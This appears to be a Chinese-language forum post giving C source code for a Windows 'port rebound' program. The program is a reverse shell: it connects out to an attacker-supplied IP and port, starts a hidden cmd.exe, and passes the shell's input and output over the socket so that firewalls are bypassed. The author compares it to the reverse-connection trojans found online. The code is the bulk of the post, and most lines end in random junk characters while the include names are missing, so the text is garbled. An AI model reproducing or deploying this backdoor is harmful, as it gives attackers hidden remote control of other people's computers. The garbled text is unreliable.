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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 N@>,gm@UU  
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/* ============================== VBIY[2zf  
Rebound port in Windows NT x^| J-  
By wind,2006/7 YEWHr>&Z  
===============================*/ w-%H\+J  
#include :_q   
#include ~iZMV ?w  
btK| U  
#pragma comment(lib,"wsock32.lib") ;y7V-sf  
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void OutputShell(); PL#8~e;'  
SOCKET sClient; \1[I(u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xp=Y<`dX  
:A,V<Es}I"  
void main(int argc,char **argv) (c<Krc h  
{ 2@ >04]  
WSADATA stWsaData; T7AFL=  
int nRet; /]Fs3uf  
SOCKADDR_IN stSaiClient,stSaiServer; *@q+A1P7@  
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if(argc != 3) |yi3y `f  
{ Ok+zUA[Wu  
printf("Useage:\n\rRebound DestIP DestPort\n"); '|b {  
return; q9RCXo>Y+1  
} T{={uzQeJJ  
u":D{+wC |  
WSAStartup(MAKEWORD(2,2),&stWsaData); ^IxT.g  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3:i4DBp,i  
bUC-}  
stSaiClient.sin_family = AF_INET; zv]-(<B  
stSaiClient.sin_port = htons(0); @xJ qG"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); j w)Lofn  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) E/ <[G?  
{ ,uD F#xjl,  
printf("Bind Socket Failed!\n"); uD&!]E3  
return; ={?}[E  
} `~hAXnQK=  
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stSaiServer.sin_family = AF_INET; AF1";duA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,epKt(vl  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w| x=^  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) U A T46  
{ _7YAF,@vT  
printf("Connect Error!"); C|Bk'<MI  
return; oh`I$  
} ~F*pV*  
OutputShell(); sB_o HUMH6  
} !ZbNW4rIP  
U`JzE"ps]  
void OutputShell() +(5H$O{h  
{ owTW_V  
char szBuff[1024]; ?#xNz=V  
SECURITY_ATTRIBUTES stSecurityAttributes; cI4%z eR  
OSVERSIONINFO stOsversionInfo; _=jc%@]1y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; hi>Ii2T  
STARTUPINFO stStartupInfo; . ({aPtSt!  
char *szShell; y UQ;tTI  
PROCESS_INFORMATION stProcessInformation; GBvB0kC)c  
unsigned long lBytesRead; -vI?b#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 5j`"@C5;O  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EA2BN}  
stSecurityAttributes.lpSecurityDescriptor = 0; {a9Z<P  
stSecurityAttributes.bInheritHandle = TRUE; ??{(.`}R~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]DdD FLM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4x=rew>Ew  
Mk= tS+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Hjli)*ev  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M|FwYF^  
stStartupInfo.wShowWindow = SW_HIDE; +&tY&dQQB  
stStartupInfo.hStdInput = hReadPipe; *9%<}z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E=w$r  
C/e`O|G  
GetVersionEx(&stOsversionInfo); V;?_l?_  
KO<fN,DR  
switch(stOsversionInfo.dwPlatformId) "OFYVK\]i  
{ 5Ga>qIM  
case 1: ^LTLyt)/  
szShell = "command.com"; rx'},[b]3  
break; aZ2liR\QE  
default: ?)1h.K1}M  
szShell = "cmd.exe"; o(>!T=f  
break; [9a0J):w{  
} bOux8OHt*  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); x2/|i? ZO  
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send(sClient,szMsg,77,0); TclZdk]%T  
while(1) b]~X U  
{ wCeSs=[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >DQl&:-)t  
if(lBytesRead) 7'j?GzaQ+  
{ 8 +xLi4Pw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); WE4:Jy  
send(sClient,szBuff,lBytesRead,0); {O#=%o[  
} K8{ j oh  
else .%3bXK+F  
{ mT5d[lz  
lBytesRead=recv(sClient,szBuff,1024,0); I1kx3CwJ{P  
if(lBytesRead<=0) break; x 3#1  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); KwWqsuju  
} TxwZA  
} Pf6rr9  
W$N_GR'4  
return; s>~!r.GC  
}
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